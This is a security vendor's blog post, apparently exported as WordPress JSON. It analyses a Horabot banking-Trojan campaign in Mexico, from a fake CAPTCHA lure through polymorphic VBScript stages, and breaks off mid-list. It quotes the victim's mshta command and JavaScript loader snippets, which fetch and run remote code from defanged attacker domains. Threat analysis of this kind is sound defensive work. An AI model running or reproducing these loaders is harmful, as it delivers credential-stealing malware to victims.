{"id":1980,"date":"2026-03-18T11:04:50","date_gmt":"2026-03-18T11:04:50","guid":{"rendered":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/"},"modified":"2026-03-18T11:04:50","modified_gmt":"2026-03-18T11:04:50","slug":"the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico","status":"publish","type":"post","link":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/","title":{"rendered":"The SOC Files: Time to \u201cSapecar\u201d. Unpacking a new Horabot campaign in Mexico"},"content":{"rendered":"
\n

\"\"<\/p>\n

Introduction<\/h2>\n

In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot<\/strong>, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.<\/p>\n

Although previous research has documented Horabot campaigns (here<\/a> and here<\/a>), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.<\/p>\n

The starting point<\/h2>\n

As usual, our story begins with an alert that popped up in one of our customers\u2019 environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM<\/a>)) and removed the related files before the threat could progress any further.<\/p>\n

<\/p>\n

The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.<\/p>\n

The attack chain<\/h2>\n

After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.<\/p>\n

Stage 1: Initial lure<\/h3>\n

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https:\/\/evs.grupotuis[.]buzz\/0capcha17\/ (details about its content can be found here<\/a>).<\/p>\n

\"Fake<\/a><\/p>\n

Fake CAPTCHA page at the URL https:\/\/evs.grupotuis[.]buzz\/0capcha17\/<\/p>\n<\/div>\n

Similar to the Lumma<\/a> and Amadey<\/a> cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:<\/p>\n

mshta https:\/\/evs.grupotuis[.]buzz\/0capcha17\/DMEENLIGGB.hta<\/pre>\n
This command retrieved and executed an HTA file that contained the following:<\/p>\n
\"\"<\/a><\/p>\n
It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker\u2019s domain. The body contains a large block of random, meaningless text that serves purely as filler.<\/p>\n
Stage 2: A pinch of server-side polymorphism<\/h3>\n
The payload loaded by the HTA file dynamically creates a new <script><\/code> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head><\/code> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.<\/p>\n
var scriptEle = document.createElement(\"script\");\r\nscriptEle.setAttribute(\"src\", \"https:\/\/pdj.gruposhac[.]lat\/g1\/ld1\/\"); \r\nscriptEle.setAttribute(\"type\", \"text\/vbscript\"); \r\ndocument.getElementsByTagName('head')[0].appendChild(scriptEle);<\/pre>\n
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism<\/strong> because each access to the same resource returned a slightly different version of the code while preserving the same functionality.<\/p>\n
\"\"<\/a><\/p>\n
The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str()<\/code> routine.<\/p>\n
\"\"<\/a><\/p>\n
The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.<\/p>\n
var scriptEle = document.createElement(\"script\");\r\nscriptEle.setAttribute(\"src\", \"https:\/\/pdj.gruposhac[.]lat\/g1\/\"); \r\nscriptEle.setAttribute(\"type\", \"text\/vbscript\"); \r\ndocument.getElementsByTagName('head')[0].appendChild(scriptEle);<\/pre>\n
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:<\/p>\n